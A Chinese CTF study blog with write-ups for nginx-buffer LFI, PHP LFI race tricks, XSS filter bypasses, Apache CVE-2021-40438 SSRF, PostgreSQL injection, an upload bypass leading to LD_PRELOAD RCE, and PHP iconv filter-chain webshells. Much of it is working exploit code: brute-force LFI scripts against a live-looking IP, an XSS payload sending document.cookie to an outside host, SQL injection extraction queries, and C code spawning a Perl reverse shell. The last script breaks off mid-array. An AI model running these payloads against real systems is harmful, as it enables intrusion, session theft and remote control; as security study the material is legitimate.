nginx缓存写入文件

ez_php

这里直接说一下结论吧

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

接下来就是分步骤写一下脚本了,首先是让后端php请求一个过大的文件

我看了一下,其他师傅们的wp都加上了一些字符,以扩大整个文件大小,但是我感觉不加好像也没事,视情况而定吧

def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("hack.so","br").read())

接下来就是爆破pid和fd使其能够被成功访问到,而我在自己的机器上docker是在10的位置,而在其他的服务器就不一定了,所以需要一个个的去爆破,但其实应该也不会特别久

这里有几个细节说明一下

1.nginx worker

我们找的是nginx worker所在的proc,这里才存储了被删除的临时文件的fd

而要找到这个proc的值只能爆破,就是搞一个一样的环境,看看docker里面的生成pid数字是多少,但是我感觉还是要从0开始挨个爆破才行

2.proc/pid/fd

这里的fd也是需要爆破获得,大小的话也是直接从0开始吧,感觉去找或者对比的话,其实比较难找到

3.多线程爆破

而这里脚本的编写为了提高命中率,也是推荐多线程爆破,在上传完文件的同时,去包含多个pid,提高命中率

def bruter():
pid=10
while True:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})

完整exp

import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = 'http://110.42.133.120:1234/index.php'

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("hack.so","br").read())

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds and pids
def bruter():
pid=10
while True:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})

a = threading.Thread(target=bruter)
a.start()

counter

这个也是hxp的题,然后也是我没遇到过的姿势,也学习下,感觉

<?php
declare(strict_types=1);

$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}
}
finally {
system('rm -rf '.escapeshellarg($rand_dir));
}

源码在这里,分析之类的过程就省略了,直接说结论以及存在的漏洞点

1.

其中配置文件有一个比较明显的配置错误:

location /.well-known {
autoindex on;
alias /var/www/html/well-known/;
}

开启了列目录并且我们可以遍历到上层文件夹。

2.compress.zip://流进行上传任意文件,但是产生的是临时文件,为了能够尽可能长时间的留在服务器上,我们需要让他停留时间久一点

  • 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
  • 使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用compress.zlib://ftp://形式,控制 FTP 速度即可

3.bypass waf

if (stripos(file_get_contents($_POST['file']), '<?') === false) {
include_once($_POST['file']);
}

这里 利用http长链接的形式,利用stripos和include_one之间的时间窗进行绕过,具体来说是首先发送 一段长数据,在通过stripos的检查后,随即再发送php代码,即可通过

4.获取沙箱路径

我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:

接下来就是写一下脚本了

感觉自己对整个流程还是很懵逼,理一下吧,先留一下坑吧,没搞懂那些port是在干啥–

https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

2022idekctf

##json Beautifier

xss组合启发

xss入门

在这里就说说从一道ctf的xss题目以及在做这个题目的时候所遇到的一些知识还有想法’’

<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>
<img src="x" onerror="this.alt=document.getElementsByTagName('script')[0].innerHTML"/>

选择合适的xss语句

首先我们需要观察,xss从何插入,插入以后我们是否可以点击

<scri<script>pt>alert(1)</scri</script>pt>
<!--均在chrome测试-->
<!--style onreadystatechange=alert(0)-->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="><!--alert(1)-->
<!--xml onreadystatechange=alert(2)-->
<!--object data="data:text/html,<script>alert(3)</script>"-->
<Img src="" onerror="alert(4)"/>
<img src="" onerror="alert(5)"/>
<img src="" onerror="javascript:alert(6)"/>
<[%00] img onerror=alert(10) src=a><!--不执行-->
<i[%00]mg onerror=alert(11) src=a><!--不执行-->
<img/onerror=alert(12) src=a>
<img [%09] onerror=alert(13) src=a>
<img/" onerror=alert(14) src=a>
<img/onerror=alert(140) src=a>
<img/anyjunk/onerror=alert(15) src=a>
<img o[%00]nerror=alert(16) src=a><!--不执行-->
<script/anyjunk>alert(17)</script>
<body onbeforeactivate=alert(18)>
<!--iframe onreadystatechange=alert(19)-->
<object onerror=alert(20)><!--不执行-->
<!--input autofocus onfocus=alert(21)-->
<a>here here</a onmousemove=alert(22)><!--不执行-->
<video src=1 onerror=alert(23)>
<embed src=javascript:alert(24)><!--不执行-->
<x style=behavior:url(#default#time2) onbegin=alert(25)> <!--不执行-->
<img onerror="alert(25)"src=a>
<img onerror='alert(26)'src=a>
<img onerror=`alert(27)`src=a><!--chorme不执行-->
<img/onerror="alert(28)"src=a>
<<img onerror=alert(29) src=a>>
%253cimg%20onerror=alert(30)%20src=a%253e,首先被过滤器解码%3cimg onerror=alert(31) src=a%3e,
后备浏览器解码为<img onerror=alert(30) src=a>
<img onerror=a&#x0006c;ert(31) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号
<img onerror=a&#0108ert(32) src=a>使用十进制或者十六进制代替html编码,并添加多个前导0并省略结尾的分号
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;33&#x29;>
<img onerror=a&#x6c;ert(34) src=a>
<<script>alert(35);//<</script>
<script<{alert(36)}/></script><!--不执行-->
<body onscroll=alert(37)><br><br><br>....<input autoocus>
<input onblur=alert(38) autofocus><input autofocus>
%u00ABimg onerror=alert(39) src=a%u00bb,unicode编码
非标准编码避开过滤,UTF-7,US-ASCII,UTF-16,多字节字符集Shift-JIS,EUC-JP,BIG5(条件是控制Content-type或者对应的html元标签、charset)
///
避开过滤,脚本代码:
<script>a\u006cert(40)</script>;unicode
<script>eval('a\u006cert(41)')</script>;unicode
<script>eval('a\x6cert(42)')</script>;16进制
<script>eval('a\154ert(43)')</script>;10进制
<script>eval('a\l\ert\(44\)')</script>;eval中多余转义被忽略
<script>eval('al' +'ert\(45\)')</script>;动态构建
<script>eval('al' +'ert(46)')</script>;动态构建带多余转义
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));动态构建</script>;alert(1)
<script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));</script>;动态构建</script>;alert(1)
<script>'alert(49)'.replace(/.+/,eval)</script>;无法直接使用eval的情况
<script>function::['alert'](50)</script>;无法直接使用eval的情况
<script>alert(document['cookie'])</script>;替代圆点
<script>with(document)alert(cookie)</script>;替代圆点

以上展示的均为执行脚本的情况,如果script被过滤了,那么就只能使用其他标签,并选择使用javascript来执行并输出进行替代

触发事件

1、onmouseenter:当鼠标进入选区执行代码
2、onmouseleave:当鼠标离开选区执行代码
3、onmousewheel:当鼠标在选区滚轮时执行代码
4、onscroll:拖动滚动条执行代码
5、onfocusin:当获得焦点时执行代码
6、onfocusout:当失去焦点时执行代码
7、onstart:当显示内容时执行代码
8、onbeforecopy:选中内容后右键执行代码
9、onbeforecut:选中内容后右键执行代码
10、onbeforeeditfocus:当获得焦点时执行代码
11、onbeforepaste:选中内容后右键执行代码
12、oncontextmenu:鼠标右键执行代码
13、oncopy:鼠标右键执行复制时执行代码
14、oncut:鼠标右键执行剪切时执行代码
15、ondrag:选择内容并拖动时执行代码
16、ondragend:选择内容并拖动松开鼠标执行代码
17、ondragenter:选择内容并拖动时执行代码
18、ondragleave:选择内容并拖出边框执行代码
19、ondragover:选择内容并拖动时执行代码
20、ondragstart:选择内容并拖动时执行代码
21、ondrop:有内容被拖动进来时执行代码
22、onlosecapture:选择内容时执行代码
23、onpaste:粘贴时执行代码
24、onselectstart:选择内容时执行代码
25、onhelp:进入焦点按F1时执行代码
26、onEnd:当时间线执行完毕时执行代码
27、onBegin:当时间线开始执行代码
28、onactivate:激活当前标签时执行代码
29、onfilterchange:当滤镜改变时执行代码
30、onbeforeactivate:当激活当前标签时执行代码
31、onbeforedeactivate:当标签内值改变时执行代码
32、ondeactivate:当标签内值改变时执行代码
33、onerror:加载错误时触发

在xss中,如果script被过滤, 无法直接执行出结果时,这个时候就要使用其他组合拳,也就是合适的标签搭配合适的事件,比如说我们使用img标签时,我们后面要执行的是一个脚本语句,那么这个时候一定是加载图片错误的,就可以使用onerror事件触发我们的脚本

xss组合

这个时候,我们已经可以用onerror触发我们的脚本了,但是我们需要的是文字,所以这个时候我们还需要寻找一个当图片加载失败时,能够回显文字的东西

alt是一个必需的属性,它规定在图像无法显示时的替代文本。alt属性是用来对网页上的图片进行描述,光标在图片上时显示的提示语即采用该标签实现。

所以当图片不能正常显示时,就会执行onerror的内容,onerror的内容便是回显一个alt

this.alt=document.getElementsByTagName('script')[0].innerHTML

document

document中有许多获取文本内容的方法,或者是其他一些关键信息的方法

通过ID获取(getElementById)
通过name属性(getElementsByName)
通过标签名(getElementsByTagName)
通过类名(getElementsByClassName)
获取html的方法(document.documentElement)
获取body的方法(document.body)
通过选择器获取一个元素(querySelector)
通过选择器获取一组元素(querySelectorAll)
//但是一般还要再后面加上一个.innerHTML

apache cve 2021-40438

前言

做题遇到了,但是发现不理解的话,做不了题

URL中的Hostname VS RequestHeader中的Host字段

http://hostname:port_no
报文中:
host: xxxx.xx

proxypass

<VirtualHost *>
ServerAdmin webmaster@localhost
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs

LogLevel notice proxy:trace8

ErrorLog /usr/local/apache2/logs/error.log
CustomLog /usr/local/apache2/logs/access.log combined

ProxyPass / "http://localhost:4554/"
ProxyPassReverse / "http://localhost:4554/"
</VirtualHost>

payload

http://localhost:80/?unix:(A*4096)|http://localhost:7891/

过程

漏洞点

漏洞点出现在proxy_utils.c中的fix_uds_filename函数中对url过滤的不严格,以及对错误处理的逻辑存在问题导致的ssrf漏洞

1.传入fix_uds_filenameurlhostname已经被mod_proxy模块重新修改为配置文件中指定的后端`hostname(http://localhost:4554/)
(在本题中:相当于此时是www.geogle.com?xxx)

2.fix_uds_filename函数的本意主要是用于处理形如unix:/home/www.socket|http://localhost/whatever/含有unix套接字的请求

3.在第二个if条件中,fix_uds_filename首先判断了r->filename的开头是否为proxy:

4.接着将r->filename分为了ptrptr2两部分,ptr2根据unix:关键字对url进行划分,ptr则根据|符号,从ptr2中进一步划分,提取目标url并赋值给变量rurl

5.而r->filename来源于proxy_http_canon函数。这个函数主要的功能是将传入的url进行解析,并拆分为schemehostportpath,和query_args(search)等部分,最后拼接"proxy:", scheme, "://", host, sport,"/", path, (search),赋值给r->filename,此值来源于以下部分

此时schema=http:
host=localhost
sport=:4554
path=
(search)

7.回到fix_uds_filename函数,在对r->filename进行拆分后,接下来就是本次漏洞最核心的部分uds_path的赋值操作。这里使用ap_runtime_dir_relativeurisock.path进行处理,并将结果赋值给sockpath,以键值对的形式(usd_path: sockpath)存储到r->notes中。

8.跟进ap_runtime_dir_relative函数,这里引用了arp库中的apr_filepath_merge函数。望文生义,这个函数是用来处理文件路径的合并操作的。而传入该函数的两个重要参数:runtime_dir = "/usr/local/apache2/logs", file = urisock.path

9.apr_filepath_merge函数计算了strlen(rootpath) + strlen(addpath) + 4的值,并与APR_PATH_MAX作比较。如果比APR_PATH_MAX大,则返回APR_ENAMETOOLONG常量。这使得上面ap_runtime_dir_relative在处理完路径后,返回的rv状态不为if条件中的状态,从而进入else分支,返回NULL

此时rootpath就是runtime_dir传入的值

10.APR_PATH_MAX定义在arp.h头文件中,而在linux系统上,PATH_MAX定义在linux/limits.h中,值为4096。因此需要填充的addpath的最小长度为4096 - strlen(rootpath) - 4 = 4069

11.接下来,在ap_proxy_determine_connection函数中对uds_path进行了初始化。这里我将比较关键的变量都加入到左边的调试窗口中。可以看到,*worker->s->uds_path最开始并没有被初始化,因此uds_path = apr_table_get(r->notes, "uds_path")。而这里,恰恰是在fix_uds_filename中设置过的键值对

12.如果这里的uds_path != null,那么就会使用unix socket进行后序的通信。因此作者在fix_uds_filename函数中通过使用超长的payload这样巧妙的方法来设置uds_path = null的原因就在于此。只要uds_path = null,那么就会进入2553行的else分支,也就回退到tcp连接。

13.此时conn->hostnameconn->port都由uri->hostnameuri->port进行控制。在此之前,已经调用过apr_uri_parse处理url,得到的hostnameport正是|后的目标url,而这部分内容正是攻击者可控的,因此造成了ssrf漏洞。

payload处理过程

分析payload

http://localhost:80/?unix:(A*4096)|http://localhost:7891/

传入以后变成

http://proxypass/?unix:(A*4096)|http://localhost:7891/

然后经过由于unix过长,再次提取,访问以下内容

http://localhost:7891/

payload

curl --header 'Host: geogle.com' "http://httpd.summ3r.top:60010/proxy?unix:$(python3 -c 'print("A"*4901, end="")')|http://internal.host/flag"

2022rwctf

hack_into_sky

主要学习的点是postgresql的注入

测试注入点

' or 0<>'1
' or 1<>'1
' or substr('0',1)<>'0
' or substr('1',1)<>'0
' or substr(current_database(),3)<>'f
' or substr(current_database(),3)<>'a

测试堆叠注入

';SELECT concat(id,age,name,email,born),1 FROM target where id='1

爆表

';select tablename,schemaname from pg_tables where tablename like 'ta%' limit 1 offset 1;--

字段名

';SELECT column_name,1 FROM information_schema.columns WHERE table_name='target_credentials' limit 1 offset 0;--

爆值

';SELECT concat(id,account,password,access_key,secret_key),1 FROM target_credentials where  id ='1

RWDN

有两个端口,并且其中一个有源码,首先看一下check.js,可以发现是一个白名单

Object.keys(req.files).forEach(function(key){
var filename = req.files[key].name.toLowerCase();
var position = filename.lastIndexOf('.');
if (position == -1) {
return next();
}
var ext = filename.substr(position);
var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
if ( !allowexts.includes(ext) ){
res.status(400).send('Something error.');
return;
}
return next();
});
};
};

要想绕过这里,首先需要搞懂,他是如何检查的,简单搭个demo模拟一下

app.post('/upload', function(req, res) {
let sampleFile;
let uploadPath;
let userdir;
let userfile;
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
sampleFile.mv(uploadPath, function(err) {
if (err) {
return res.status(500).send(err);
}
res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
});
});

文件上传部分非预期解

首先梳理一下流程吧,首先经过check()检查,而检查的时候,是对每一个文件都会进行检查的,然后再根据formid上传文件,如果sample是错的,那么就会导致md5错误,后面也就不会上传了。而这里就有一个逻辑漏洞,还挺巧妙地,感觉挺锻炼思维的。

首先我们看到foreach,那么就意味着他会检查每个文件,但是如果当有个文件无后缀的时候,他就直接到next()接下来就是上传文件阶段,而另一个文件则会返回400,但是他在upload函数内写的是根据formid确定上传文件,也就是说上传两个文件呢,一个为无后缀文件经过校验,到next(),另一个为其他文件但是formid为最终所需要上传的formid。

但是由于报错,无法回显文件的路径,但是可以发现samplefile的值是根据文件的内容以及其他一些信息进行确定(不涉及文件名),所以我们只要上传文件内容相同的两个文件,先获取到第一个文件的文件名即可
img

虽然会报出error的错误,但是文件已经成功上传了 。
img
img

可以任意文件上传,但是不解析php,等脚本,所以就是要修改apache的配置再去打

.htaccess修改配置

之前学过使用其他解析方式,但是这里就是一个默认的apache服务器,连cgi script都不行,首先使用.htaccess的errordocument读一下文件

ErrorDocument 404 %{file:/etc/apache2/apache2.conf}

发现开启了这个组件

ExtFilterDefine gzip mode=output cmd=/bin/gzip

这个组件可以自启动进程,并且.htaccess可以设置环境变量,因此我们可以使用LD_PRELOAD来实现RCE

首先是.so脚本内容

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}

接下来是.htaccess内容

SetEnv LD_PRELOAD /var/www/html/2d29bcb684acfee295dca4287d557044/tlif3.so
SetOutputFilter gzip
ErrorDocument 404 %{file:/etc/passwd}

最后是.c文件内容(后面编译为.so)

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void) // 构建 预执行属性
{

const char* cmdline = "perl -e 'use Socket;$i=\"xxx.xx.xx.xx\";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'";

// const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"

int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system(cmdline);
}

下面放一下自己的脚本,比较杂乱,主要也是一直没成功,就没想改–

mport requests
import re
s=requests.session()
file_content=open('./tlif3.so','rb').read()

#print(file_content)
url="http://xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae"
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Type": "multipart/form-data; boundary=---------------------------7451049519834705901418075379",
"Connection": "close",
"Cookie": "PHPSESSID=b21e009db5586702c41fac89314ddd73; session=3005259290263220013%7CZEZrPpLs4Cf1IPmEi1S%2FgBj3DDa4msw9yaojKNBH6BxtMAxd4vCmixjte2t4QCy2F.EFulu3Nx8SigQj7mvZA.",
"Upgrade-Insecure-Requests": "1"
}
data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""
r=s.post(url, headers=headers, data=data).text
path=re.findall('http://47.243.75.225:31338/(.*?)/1.txt',r)
print(r)
#发送exp文件
filename='tlif3.so'
url="http://xx:31337/upload?formid=b"

data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename}"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""

r=s.post(url, headers=headers, data=data).text
print(r)
print('http://xx:31338/'+path[0]+"/"+filename)
so_path="/var/www/html/"+path[0]+"/"+filename
file_content="""SetEnv LD_PRELOAD """+so_path+"""
SetOutputFilter gzip
ErrorDocument 404 %{file:/etc/passwd}
"""
print(file_content)
#第二次 发送htaccess文件设置环境变量

url="http://1xx:31337/upload?formid=form-da7de2ee-e90c-4847-8956-9ead32e51fae"
data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="form-da7de2ee-e90c-4847-8956-9ead32e51fae"; filename="1.txt"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""
r=s.post(url, headers=headers, data=data).text
path=re.findall('http://xx:31338/(.*?)/1.txt',r)
print(r)

filename='.htaccess'
url="http://11xx:31337/upload?formid=b"

data=f"""-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="a"; filename="null"\r\nContent-Type: text/plain\r\n\r\nabc\r\n-----------------------------7451049519834705901418075379\r\nContent-Disposition: form-data; name="b"; filename="{filename}"\r\nContent-Type: text/plain\r\n\r\n{file_content}\r\n-----------------------------7451049519834705901418075379--"""

r=s.post(url, headers=headers, data=data).text
print(r)
print('http://110xx0:31338/'+path[0]+"/"+filename)
url='http://1xx0:31338/'+path[0]+"/"
print(s.get(url=url).text)

调试了好久好久,最终还是没成功,想了一下原因,大概是因为环境问题吧,问了一下群里师傅们,发现payload里面设置环境变量写的也是正确的,但是却没有成功加载,一步一步排查错误,最后发现是由于linux架构不一样,导致编译以后的so在docker里面无法使用,会报错,而如果是在docker里面写一样的代码,然后编译,劫持LD,发现即可成功使用系统命令

img

文件上传部分预期解

原理参照一个小哥 在 discord 中发的内容: 如下 the proto file is not checked because Object.keys does not include properties from the prototype, but since the prototype is now an array we can use formid=1 to access that file again in the upload function

upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1")
files = {
"__proto__": open(upload_file,"r"),
"decoy":("decoy","random"),
}

解决方案

遇到这个解决问题的话,解决方案可能也只有查看一下版本信息/proc/version然后去拉一个一样的docker,跑一下

小结一下

1.双文件上传绕过

2.利用htaccess读文件
3.打apche所以读配置文件
4.发现有进程可以劫持——>LD_PRELOAD实现RCE

参考:https://team-su.github.io/passages/2022-1-22-RWCTF/
https://r3kapig.com/writeup/20220125-rwctf4/

the-end-of-LFI

前言

在hxp中出了两题LFI的题目,这个解法感觉是天花板了,跟着大佬的博客学一手

PHP base64 filter

在 p 牛绕过死亡 exit 的文章中,我们知道 对PHP Base64 Filter 来说,会忽略掉非正常编码的字符

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

而合法字符的定义为

A-Za-z0-9\/\=\+

这里有个简单的验证

<?php
$a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

Iconv LFI

include一句话getshell

有个文件内容为<? php phpinfo();?>的base64编码内容,当我们尝试include的时候就可以成功执行了

include "php://filter/convert.base64-decode/resource=./e";

// the content of e: PD9waHAgcGhwaW5mbygpOw==
// base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)

trick

include函数包含的是base64解码以后的php代码,而在php fiter中有一种convert.iconv的filter,可以将数据集从字符集A转化为字符集B,结合这种filter,转化一些固定的文件内容,经过base64解码以后获得我们的getshell,而由于php base64的宽松型,尽管我们产生了不可见的字符(垃圾字符),也将会被直接去掉。

例子

假定我们需要文件内容为14个a字符,首先遍历iconv支持的字符编码形式

$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C|
// 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|

我们看到最终的输出结果有垃圾字符,还有一个C还有我们需要的内容a,而如果直接经过base64编码,C也会被和a一起编码。导致最终结果出错,所以我们可以先经过一个base64编码,然后再解码,因为编码以后,垃圾字符已经被去掉了,就只剩下C和a,在解码以后以后,就是完整的正确数据了。

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000 73 74 72 69 6e 67 28 31 31 29 20 22 09 a6 9a 69 |string(11) "...i|
// 00000010 a6 9a 69 a6 9a 69 a6 22 0a |..i..i.".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 43 61 61 61 |string(12) "Caaa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|

Craft Base64 Payload

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成 PAaaaaa ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。

所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。

我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成

$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000 73 74 72 69 6e 67 28 35 32 29 20 22 38 01 fe 00 |string(52) "8...|
// 00000010 43 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |C...a...a...a...|
// 00000020 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...|
// *
// 00000040 22 0a |".|

// 起用了注释那一行后,即还原到 Base64 之后的 hexdump:
// 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 38 43 61 61 |string(12) "8Caa|
// 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|

我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。

难点思考

看到这里其实有一些,还是不是特别懂如何利用这些编码来构造出字符

可以看到,是利用iconv的一个转码,使得原本的文本在经过转码以后,生出了其他字符,从而获得我们所需要的字符,可以看到左边的s8C就是我们使用三种字符串编码的转码以后所得到的内容。
根据这个特性,我们就可以遍历iconv获得我们需要的所有字符
屏幕截图 2022-01-27 141257

RCE

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如

<?=`$_GET[0]`;;?>
#base64_encode:PD89YCRfR0VUWzBdYDs7Pz4=

接下来就是使用字符集获得这一串字符

我直接使用网上的脚本发现在P和f的转化是失败的,找不到这个字符集
屏幕截图 2022-01-27 144123

我就查了一下,发现其中有一个字符集的写法似乎会随版本变化而改变,换了一下发现就成功了

shift_jisx0213、shiftjisx0213就是这两个
换一下,就行了,接下来经过脚本的解码就可以得到

img

贴一下脚本

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFT_JISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFT_JISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
